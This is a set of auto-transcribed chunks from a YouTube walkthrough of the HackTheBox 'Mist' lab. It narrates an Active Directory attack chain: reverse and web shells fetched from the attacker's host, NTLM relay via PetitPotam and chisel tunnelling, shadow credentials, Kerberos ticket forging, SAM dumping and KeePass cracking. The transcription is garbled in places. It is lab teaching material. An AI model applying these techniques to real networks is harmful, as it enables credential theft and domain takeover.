ad attack um stuff so I would highly recommend if you're learning ad and want like um AAR all the things or hack tricks for a bunch of just like running commands this is like a gold mine so we use this new ad uh adns node uh let's do like this node we'll call it IPC and then um the data 10 10 148 and we just get the user has insufficient rights so we can't create a new DNS record pointing it to us and that is key because to do a lot of relaying it involves cobros you need to use um DNS names um so the next step we have to do is figure out a good way to do this and it is going to be a really tricky thing to do and that's why I have this on a separate pane so we can get a another shell so we're going to do RL WP n cvnp 91 because we have to run chisel", "start": 3042.2, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "for a second time let's see Di is the shell still active please say the Shell's active it's probably not and that's going to be a pain um I think we have to get a shell again going to copy this we'll close that v lnk um wrong clipboard there we go then five that looks right okay we're already listening okay I'm going to redo this to get a shell so install module I guess I could just like curl and download the shell there that' be a little bit quicker probably um yeah let's do that cuz we may need to get this again so PWD so let's do a c HTTP 10 1048 slash um do we have the file n dubdub duub CP do dot shell.", "start": 3113.0, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "zip unzip uh 7zx MV shell shell. PHP there we go so we should now just be able to get shell. PHP off the root of the server and as we saw the Bloodhound data didn't get deleted so data should not be deleted off of that but did it not save PWD I'm there WR at di find string shell that is Echo one am I doing a 404 it is oh no I just killed that shell okay I have to do it the hard way now um let's see I'm thinking should I pause the video and just spend the five minutes that takes off video doing this this is one of the harder parts of the box is managing all the shells uh that's probably data modules Shell Shell shell.", "start": 3201.72, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "PHP there we go let's copy shell. PHP 1 2 3 4 did that do it that looks better okay so if I ever need to get a shell again it won't be as painful okay we have to switch back to Brandon lnk Dove we should put that in this okay so now we got to wait for Brandon to click the link and then we can move on right I guess we could have checked if Brandon has um winrm permission so if we do winrm can we use evil winrm no we cannot so we are stuck waiting for the shell to come back so I'm going to pause a video and we will come back when I have a shell as Brandon okay I got my shell set up we're Brandon there we SVC web here and there's one other piece I did not um mention when we did our enumeration if we go back to the net exact command when we enumerated if we could add machines to domain we can", "start": 3305.64, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "also do um ldap D Checker and this is going to tell us if ldap signing is enabled or not and if it's enabled then this attack will not work we won't be able to do any type of relaying but since ldap signing is not enforced we can do this relay attack and this is going to get really complex because like the attack's going to involve relaying which is a complex subject and then we're going to just go like one step after another because it's a relatively long attack chain to do what we want to do um the end result is we're going to get the ms01 ntlm hash that's going to allow us to um essentially Forge keros tickets to say we're administrator and we can access the cifs service which is going to enable us to um access the disk of ms01 to get the ntlm hash of local admin which then allows us to um", "start": 3403.4, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "we're going to use wmi exact because PS exact gets picked up by Defender like that's why we want to get to this state but to get to this state of getting ms01 ntlm it is going to be somewhat complex because it is going to involve relaying to ldap and Shadow credentials and a bunch of other things so let's try to explain it um and if I lose you hopefully like as we step through actually doing the attack it's going to make sense so let's draw it out we're going to be the attacker so ATK and then we have the domain controller so dco1 and then there's also ms1 this is the guy we have compromised right and through an attack called petite PM U print bug can also do it but I think that's mostly patched petite pum is the one most people use you can force the service or the machine account to reach back to you and because this is a server the web client service is", "start": 3461.799, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "installed because that's by default I think it's going away in future builds but we can turn this request into a web DAV request and that's key because if this was just SMB the only thing we could relay to dco1 would be another SMB thing and since SMB signing is enabled um we can't relay it but because we can force ms01 to make a webd request to us when we relay to dco1 that enables us to also attack protocols like SQL or ldap um SQL is not installed so that one's out of the picture but ldap is so we get authenticated to dco1 Via ldap and since we're um the ms1 account we'll be able to upload a certificate that lets us authenticate as ms01 and then we can use rubius just like we did with the Brandon user in order to um get the ntlm password of ms01 which then will enable us to uh masquerade as the administrator", "start": 3519.64, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "user essentially so it's going to be a little bit more difficult than this because we can't create DNS entries if we could create a DNS entry that points to us then it would work just like this but because we can't we have to do a little bit of trickery with network routing so what we're going to do is stand up a um listener using chisel it's going to be just a regular forward I guess we don't use it that often in attacking right but we're going to listen on Port 50/50 and all that traffic is going to get sent back to us on port 8080 or Port just 80 not 8080 and the reason why we're doing that is because when we do peti PM we're going to use ms1 as the host name and point it at Port 5050 so it goes back to itself says oh I'm going to ms01 goes through this tunnel and then we get the connection and then we", "start": 3580.88, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "have a socks proxy that goes through ms01 that enables us to talk to dco1 as ldap right and then we do the clear credential attack in order to gain access so that's essentially what we're going to be doing um hopefully it makes sense if it doesn't um before you watch it like five times or my explanation five times uh let's see if it makes sense as we like step through all the commands so first things first um I'm going to set the tunnel to go on Port 880 if I do who am I yes this session is live so I think chisel was in program data right if I do uh we do have chisel so I'm going to do/ chisel exe and then we're going to do client 10 104 8 81 going to listen on Port 5050 send it through the tunnel to 1271 80 so I'm waiting for this session to say it is alive we should get that momentarily why is that not it's a bit odd", "start": 3641.599, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "um net st- find string 5050 it is listening so what I'm going to do real quick let's just listen on Port 80 to verify this tunnel is up so if I do a curl on 1271 Port 80 we probably have to specify HTTP please work uh no 50/50 so we're going to go through the tunnel right so 50/50 and yes we get it and remember this is on the host so it's not like me running curl on my attacker box I'm running it on the host 1271 we went through chisel so that tunnel is set up so the next thing we have to do is get a special version of impacket because um what we have is not going to be compatible or like the main version of impacket doesn't have the feature set we want so we going to do packet GitHub and then we're going to go to poll request and search for shadow so poll request then we're going to search", "start": 3717.0, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "Shadow and then we're going to grab this branch and then there's a funny comment here we are here from hdb missed but let's go ahead and grab this so we'll do a get clone on this and we'll specify the branch um can I just copy this we'll just type it interactive ldap Shadow creds interactive L Shadow creds okay and then we want to um install this so I'm going to do this all from the root user because uh we'll have to listen the ntlm relay eventually we have to listen on Port 80 so it makes sense to be root from here on so I'm going to do pseudo Su um actually let's do it on a new pane so this will be um we'll call this relay so let's go into impacket we's do sort python 3-m VM VM so we're going to build a bunch of python tools here so bin activate and then I was probably in dubdub dub when I copied that right yeah let's move and", "start": 3787.76, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "pack it here okay we can do pip three install Dot and I think anlm relay is a part of impa yet it could be part of a different one uh let's see find. grap nlm relay see NM I think that's good so that's set up so what we're going to have to do is stand up our relay so to do that I'm going to say um proxy chains ntlm relay X let's do proxy chains here and then I'm going to add the debug flag we're going to forward everything to ldap S 192 168 100 100 go interactive smb2 support and the domain we'll specify as m. hdb so with this this does it stands up our listener and when we get a webdav request on Port 80 it's going to for that over to ldap so proxy chains is set up now the next piece we have to get is um petite protm we'll get that first so we'll do petite protm uh let's see get Hub this should be fine get clone", "start": 3880.76, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "we can go in here and there is an executable um I had a lot of trouble getting this to work like I had the relay working um on the box but for some reason it never like was the system user so I didn't get permission so I couldn't do the shadow credential part if you could get this executable working as the python one is then you'd be able to skip the whole like getting Brandon's ntlm hash because the whole reason we want to get Brandon's ntlm hash is so we can use petite protm to coer this uh machine authentication so we're going to try this first and it's going to fail so we're going to do proxy chains uh Python 3 petite pm. p-u Brandon key war- dm.", "start": 3986.599, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "hdb dhes and we going put his hash gear um we probably have it on the net EXA Command right let's do nxc we can grab his hash paste that and then after hashes I think that's it oh no we have to um put the SPN so we'll do ms01 then specify the port that we are listening Local Host there that directs us to ad0 on our box and we'll say this piece doesn't matter you can put anything you want here so the key thing is petite protm is going to reach ms01 on Port 5050 and that gets directed to our ntlm relay which goes to the domain controller um and we need the target so we'll do 192 168 100 101 and I forgot we'll do pipe all so it attempts to do every type of attack um login failure that is not good let's see did I copy that wrong I wonder that hash is going to have to be lowercase let's run this again make sure", "start": 4036.079, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "we're still authenticated it's thinking okay that hash does work paste log on failure let's see oh I don't have a period okay so we have it working it says things but we never see anything on this and that's because um the web client is not started on the box so it can't make a webdav request so we're going to download a program called etw start web client I think it is let's see yes this is it and for some reason you can't start the web client through the SE thing like the services console because of just weird privileges with services but if you go to this port uh post there's a lot of service triggers that enable us to start the web client so we can then make a web d request so we're going to download this so let's just do a we have to go probably enter dubd duub directory WG then MCS I think we'll", "start": 4125.679, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "compile we have to add the unsafe there we go so now we have this ETS web client and if you don't have this you can probably search ic. Ro for like install mono to get the ability to compile net things things on your Linux box but we have to now download this tool to the box so we'll do a I'm going to send this actually to the relay pane okay so let's do PWD where am I let's go into um exam HT docs files that's where we storing things C http 1048 88000 that- o that then we execute it and it says web client service started correctly so we're going to do this petite protom request yet again um we have to get into the directory first we're going to do this request yet again and this time we hopefully get a connection because the webdav client is started and then we have a interactive shell right here and if it doesn't work you", "start": 4212.4, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "have to run this etw start web client every time because after it makes the request um the service stops so it's a little bit annoying in that sense but it is what it is and this next step we're going to have to do relatively quickly because um I think there's an automated task just like fixing the shadow credentials so so if we like start doing it the shadow credential resets what we're about to do and then we have to do it again because the certificate changed so let's do NC Local Host 127 001 Port this um I don't know why I did Local Host and 1271 but we started the interactive shell with this NTM relay so this is how we interact with it so this is a ldap shell and because we're using that custom version of impacket we have the clear Shadow creds command so we can run um what's the other one let's do this quickly we got clear sow creds and", "start": 4292.28, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "probably create or something let's search for shadow set Shadow creds so we do clear Shadow creds ms01 doll we cleared them to successfully then we're going to set Shadow creds ms01 dollar okay so let's see uh oh module open C crypto has no attribute pkcs12 so it failed adding the credential because of a python library that is not good let's see high open SSL remove okay let's see I guess we should run these commands this is annoying PP uninstall sure hopefully I already have that Library installed okay see couldn't get that mitm proxy let's see if it works now we change a p open cell version we'll have to exit the shell okay we started this up and that's not good please start thank God run this the client should be running yep okay so we have that shell and let's do the I'm going to do RL RP", "start": 4362.88, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "NC Local Host 110 and I'm really hoping this works so clear and and set so ms01 doll set awesome so that did fix it so we have the PK uh cs12 shirt here this is the password so we got to get this over to rubius so I'm going to uh go in petite PM we're going to move what is this sirt um RC oh what is that find. grap rcna we're probably going to be too slow move impacket rcna to dubdub dub okay now we can curl let's actually rename this so mvdb dubdub rcna I'm going to call this MSO 1.", "start": 4514.719, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "pfx HTTP 10 10 148 8,000 ms01 pfx D ms01 pfx okay so now we should have um ruia still here so ask TGT user ms01 dollar certificate uh this is a colon ms1 pfx password and then we're going to give it this password here and this is the same command we did with Brandon except we have a password so we'll do get credentials show no R uh fail to find certificate that is correct um ms01 pfx oh I turned my web server down oh no I didn't right here where are you running LS scrap ms01 where did I just copy it to copy it to my working directory I will be surprised if we win the race to get the um rubius command but it's good if it fails because then you'll know um the error message that it gives you right so it's it's taking a little bit of a long time so I think we actually um did everything within the window and we will get a ntlm hash of", "start": 4577.88, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "this account back yep we did so we have ntlm of ms01 so V do we have like a notes I do we'll call this um ms01 dollar this domain there we go so what I'm going to do real quick is pause the video for Let's do five minutes and then I'm going to run this command again because we should see the error message it's going to be some weird like um keros something not found or something if the shadow credentials doesn't work actually we could probably just clear them and then I'm going to set again so this certificate that I have is invalid so if someone is fighting over it or the automation um screws over this is the error message you'd get KDC error client name mismatch so if you see that error make sure um just do it again and make sure you little bit faster I guess um I don't know what else to say but yeah so", "start": 4682.96, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "now that we have the ntlm hash do I have that on my clipboard I do not let's go ahead and grab that so cat notes we can grab this I'm going to use a another rubius command and we're going to um impersonate the administrator user so let's do rus. exe ask TGT no rap um user is ms01 and this may have to be in quotes because of that dollar sign I'm not sure and we give it the ntlm hash as rc4 and we have a certificate here so what we're going to do is copy this ticket and then we're going to run another rubius command so we'll do rubius exe s4u then self no WP we're going to impersonate user administrator and then we're going to do alt service then spey cifs which is the um like SMB file service ms01 mist. hdb ticket colon and paste in what we copied and now we get another ticket back and this is in Kirby format and to", "start": 4756.48, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "use it with her tools we want to convert it to a cc cache so um let's do that so this is going to be vms1 Kirby we can paste that uh it's probably Bas 64 right let's see what's that say Bas 64 ticket Kirby so I don't know if I B 64- D or not um let's just try running ticket converter so we'll do ticket uh converter dopy specify MSO 1.", "start": 4848.56, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "Kirby ms01 docc cach see if it errors unknown file format okay so base 64 let's move this to b64 b 64- d this to ms01 Kirby there we go run ticket converter again and now we've converted the Kirby to a cc cache that this will now enable us to um use so let's go and um what do we want to do we'll do export caribbe 5cc name is equal to what do we call it MSO 1. CC cache we probably should have named this like administrator. CC cach but um oh well so now we can proxy chains um we'll do Secrets dump do I have secret stump secr stump. piy I do and then what are the arguments I need um- k no pass administrator at ms01 missed HTP is this going to work I may need nope there we go it's working so because we can um access cifs uh cifs we can use secret stump and even though this box isn't a domain controller secret dump will download the Sam and system um hash", "start": 4891.239, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "or database and dump that so now we have the local administrator password to this box so let's go and do votes and say um local MSO administrator this I'll call this ms1 instead of local there we go so we're now just waiting for all the um things to dump and we'll connect to the box as administrator and see what files are there and now that it's done we also get another user the SVC web that password is the most Savage password ever 123 so I'm going to add this also to the notes so we can do votes and then we can say ms1 this is SBC web and then this and we never actually needed the local administrator password again because the Cur certificate we have does enable us to do whatever we want right so if I wanted to we could do um wmi exec as well and then if we do who am iall it's going to say we are the um administrator user from mist. hdb right", "start": 4989.199, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "M administrator so um the ntlm hash just makes it a little bit easier if we want to use password hashes going forward but we can always just keep using that curb R certificate um the one thing I do want to go over to is impacket right so if we do let's change this to SMB we can change this to administr and then I'm going to test that hash so let's cap the notes again we can grab this hash attempt to log in we don't want ldap Checker anymore there we go and we'll see if this has a successful authentication it does not and you may be thinking wait we just dumped that that is correct but keep in mind um it's the local account let's see local Das off is what we specify so what I was testing here is if the local administrator password was the same as the domain administrator um then we'd just be able to log in we", "start": 5069.719, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "to specify 101 because that's ms01 so we do this and yes it does work um but since the domain administrator password is not the same this doesn't work we can also try crack this we could also um go into the notes and try that most Savage password ever just in case they did like password reuse right that's always a thing so we can do- P I think that's still on local off so we have to remove that so no password reuse there we can check it against the domain administrator and nothing right at least I'm assuming it's nothing I have not actually tested this this would be a funny uned that went a very long long time but yes nothing so let's go back to um where we were so we can do wmi exac we can't do PS exec mainly because of Windows Defender if we try doing it it's going to look like it starts working and then when it starts the service this is", "start": 5140.96, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "when Defender kills it and um it just hangs so W's a little bit slow I'm just going to do um SMB client.py and let's see shares let's do UC dollar and now we can look at um the file system and this is just faster than uh wmi exec so that's why I'm using it so we can look at administrator desktop maybe like that there we go user. text is there can look at documents uh nothing's there if we do a LS we have other users so like Sharon Mard that's a new user so if we do an LS on that user desktop we have to specify slash star there we go um let's go to documents and we get a key pass database so let's go ahead and download that so I'm going to do to get this sharon.", "start": 5204.159, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "kdbx and that should download I don't know what directory I'm in though um find. grap kdb okay I'm right there so key passes are always going to be encrypted so uh we have to get a password looking at other things on the user before we just try a blind Brute Force we have cats. PNG in that image so let's go ahead and get both of those and then we'll see what they are and maybe we can make a word list based upon them so we'll do a get on this as well okay so let's open cats. PNG and that's what I expect a bunch of cats so let's try the other one open on image 200 and we have some cyberchef output and they're Googling best encryption algorithm and looking at Cyber Chef we have um ua7 CPA then bracket pound one exclamation pointcore That ZX which kind of looks like a password and 1 2 3 4 5 6 7 8 9 10", "start": 5279.159, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "11 12 13 14 there's 14 characters there we say 15 here so there's one character hiding behind this so I'm going to guess this is the key pass password but we have to get one last character there we can just try opening keypass with this password it'll probably fail so let's go um copy that real quick ua7 CPA download like that okay ZX so this this is probably the partial password we just put it there do I have KP CLI I do um can we try opening this Sharon kdbx help it's been so long since I used this LS LS email LS enter let's see clone edit find let's see I may pause the video and look how to dump everything with key pass but it may also um not show us anything because we don't have the password do we have DH PW files read only hist key file must exist let's see KP CLI with password or I can just install a key pass to", "start": 5360.44, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "um let's see installation okay I'm going to pause the video real quick and look at my notes for this key pass stuff okay looking at my notes the thing I was missing is you specify the database with D- kdb so if we had done that then ask for the password I did notice one another mistake that would have been held later on and if we look at this um the password is bracket pound one exclamation point we missed the one so let's fix that real quick before we go over to hashcat so in order to crack this we're going to run a tool called John um what is it key pass to John that's what it is on Sharon and this gets us a nice hash we can go over to hashcat and v um hashes we'll call it m do keypass paste this in and then we're going to attempt to crack this so we're going to do hash cat- A3 for Attack Mode 3 specify the hash so hashes mist.", "start": 5473.639, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "keypass and then the um password or the partial password I should say so cat partial we can grab this and then I'm going to do question mark a which is going to put all possible characters in this field so if we do enter um no hash matches the structure cat hashes missed key pass I could have swore that was let's see hashcat crack key pass I wonder if it's a mode that is um not there yet or not in the version of hashcat I'm running it could be relatively new let's do hashcat example hashes there we go this is good let's see key pass key pass there we go so it looks like it is mode 13400 so I wonder if we don't have this mode mode 13400 salt length let's just double check what this looks like V hashes missed key pass oh let's put the username first so we got user colon so we can just do D-", "start": 5568.159, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "user and that's it's going to ignore that first field and there we go it started to crack um it'll probably take 15 20 seconds to initialize all the run times but the crack itself should not go long we could have probably wrote Our Own python script to do it because we're only doing one character right but we have cracked one out of one so it succeeded we can do D- show um we also have to specify user and the last character is an at sign I would have guessed bang because that's normally the last character of a password but we get the last character as at so we can V partial we can put that in and then move partial to key pass password it's a horrible file name I should put that in my notes but I'm lazy so now let's do KP CLI put in this master password and there we go so we can go into Sharon then we got the", "start": 5684.56, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "operative account so if I do I think show zero okay uh show - F is that going to give me password yes it is so we can get the password for Sharon and it's her operative account so I'm guessing that's the operator account so let's copy that password we can go back here and let's go actually into blood hound search for Sharon we got Sharon Mard and op _ Sharon mullard so I'm guessing the operator account is op so we can do user opore sharon. mord like that and the password I feel so bad for her cuz was it I'm so tired of this job there we go run this and we'll see if we get a success we do so success from so let's see or let's mark her as owned and then see what we can do from this account so if I go to inbound control this is what people can do to it let's go to outbound so Sharon let's see is a member of operatives which can read the gmsa", "start": 5746.0, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "password of this account the SVC DCA so impacket does do gmsa um I'm trying to think of what that syntax is off top of my head I think it's just D- gmsa or- M gmsa it may be ldap let's try ldap we to specify 100 uh let's see gmsa invalid Choice let's see nxe read gmsa that exec Wiki the documentation relatively good just dash dash so I was right the first time it's not a module so we do elap specify gmsa and this will let us read the password to the service account and I think if we even went back to the no um clean up patch mon set up laps so since she's setting up laps chances are that's why we can read this account so V notes let's go up one let's do domain SVC CA dollar that okay so let's go back into to blood hound and we can mark the svca user as owned now because we read that group managed service account password and then let's go and see the outbound", "start": 5839.48, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "control to see what we've gained access to so member of domain computers we can kind of ignore that it's a member of certificate Services which unlocks manager authentication and also this CA backup user and we can gain access to that through the add credential link which is um what we've been doing before like that whole ldap thing like adding a certificate Lo backup log to the account so we can log in as it so we can impersonate the backup user it it's not exactly clear why right off the bat but the reason why we're going to do this I guess we can explain it now before we go too deep is this CA account if we look at the um user account control that's 496 and and if we go let's see um Windows user account control bit mask so if we look at this I think it's the property flag this one is it going to say yes it is so let's go Python 3 hex", "start": 5947.56, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "of hex of the number it is 1,000 so that privilege is workstation trust account and typically workstation trust account doesn't have remote access privilege so later on when we use Pi whisker um we'd get a denied here because we're doing a remote log on and the gmsa account is meant for local login only because it's treated as a workstation so that's why we're going to move over to the SVC CA backup user because if we look at its account control it's this weird 6,000 number right but if we just go to hex it is um 10 ,200 so let's go back to that Microsoft thing um 200 is going to be normal account and then the 10,000 is going to be don't expire password so the ca service backup this is just a normal account so we can do a remote log on and that will enable us to use Pi whisker and uh perform the next attacks from this so that's why we're going to be using CA backup", "start": 6011.8, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "I think Pi whisker we can use from this service account we just won't be able to do the adcs 13 so it's certifi we can't use um the workstation trust account is really odd permissions but that's what we're going to be doing so I'm going to mark this guy as owned as well and then we're going to see what this manager authentication can do if we click around here there's no outbound control but if we go to Cipher queries go to browse um we can look at all the queries they have the new blood hound is a bunch of certificate ones so we can see like all the enrollment rights which is just going to be a giant mess but we can do the oid group link that's what's going to enable us to impersonate and this draws a decent picture so we can become the manager authentication and there's kind of links over to this Backup Service", "start": 6083.96, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "authentication which is backup policy to a service account and if we look at who a member of service account is it's going to be backup operators so if we can get to backup operators we can create remote backups of the computer backup the registry grab the ntlm hash of the local admin so if I go to pathf finding let's do the um SVC what is it SVC CA backup user and let's make a path to um backup operators and this is going to make it very clear so because we're a member of certificate Services we can do ad CS es13 to become a member of certificate managers which is a member of CA backup and we can do that adcs es13 again on service accounts to become a member of backup operator I think I said backup operator twice when this is CA backup but we have to do quite a few certificate attacks so the first thing is we got to become this user so let's", "start": 6144.84, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "go back to our box and we're going to use Pi whisker to um add a credential link to service backup so let's go in Google Pi whisker GitHub and I'm going to get a slightly older version because during like a recent commit like things got screwed up um like trying to install through pipex makes this just not work well so I'm going to go to uh this request what is the commit hash um this one okay so let's download this so get clone by whisker we go in there get check out hopefully it's my other clipboard nope let's go copy it again commit copy paste there we go and I'm going to create a python environment so we'll do python 3-m vm. VM Source VM been activate Okay so we can do pip oh pip 3 install dasr requirements. text it's not a module so when they're doing the PIP X thing they're trying to make it a module and it just has a few issues there's", "start": 6214.32, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "like a variable that needs to be a global variable or something odd so it's just easiest to go to a commit before the PIP X thing but this is going to last run py whisker so we can do Python 3 py whisker let's proxy chains it and then what we want to do is specify the domain which is mist. hdb the DCI IP 192 16800 100 ER account which is currently the SVC CA the hash of this account which let's see can exit that cat CD do dot cat notes grab this okay and then the next thing we need is the target so we do das Das Target SVC CA backup so this is the one we're adding the um credential link to do add and let's see okay we have updated the MS key credential link and got a pfx so what we're going to do with this is um get the hash so let's see we can probably do that through rubius how we have been so I'm going to move this to dubdub", "start": 6310.0, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "dub we'll call this we've done rubius a few times it's saying a TGT can now be obtained through p PK nit tools so we going to show it a different way we're going to just download PK nit tools and do it this way so get clone so in case you did not want to run rubius and you wanted to go from the certificates and do the pass the ticket to get the ntlm that's what I believe we're going to be doing now so let's see we're in PK nit tools is there a install let's do pip 3 install dasr requirements and then we're going to copy this sht where is that we have it uh where is it um we were in P whisker okay let's move that to be up One Directory and we'll call call it SVC CA backup. pfx okay so let's do Python 3 then get dgt we want to proxy change this seert pfx and we'll do dot dot slash copy this then the next thing we need to do is specify the pfx", "start": 6404.28, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "password which is going to be this okay then mist. htb service CA backup and then the next thing we need to do is specify the cache file we want to create so we can do SBC CA backup. cach then DC ip2 16800 100- v a li crypto come on that's how you would do it if your python libraries are not awful um let's just Google this error um the tool is PK and knit tools issue 21 hopefully this is it um proxy chains no let's see we can try to download this be requirements.", "start": 6505.719, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "text that's not even in there maybe it didn't install let's just uninstall it then install it so do uninstall and then pip 3 install dasr requirements.", "start": 6605.88, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "text then we can run this again and there we go it seems to be working awesome so if you have the issue um I guess go back in the video and do what I did to that requirements uninstall OS crypto and then reinstall it so now we have um this hash the mini Cerros so what we can do is uh the get n hash so if we um export kab 5cc name is equal to svcc backup. ccache it's where we save that to then we can do a Python 3 get NT hash proxy chains and we specify the domain so miss. htb SVC CA back up the user and the key is going to be that piece and there we go we have the NT hash of SVC CA backup so if we go back here let's go back to our net exact command and just try this out SVC CA backup the hash then that get rid of gmsa and hopefully this works it's connecting yep we do so go to notes domain SBC CA backup", "start": 6634.04, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "okay sweet so figured out what pain I was on now we can do the um certify stuff so let's go and do we already have certify installed LS scpt we do not I'm just going to clone the latest version because esc3 is relatively new so we can do certify GitHub and we'll download and install this so pip 3 install get clone this CD certify and we can do pip 3 install 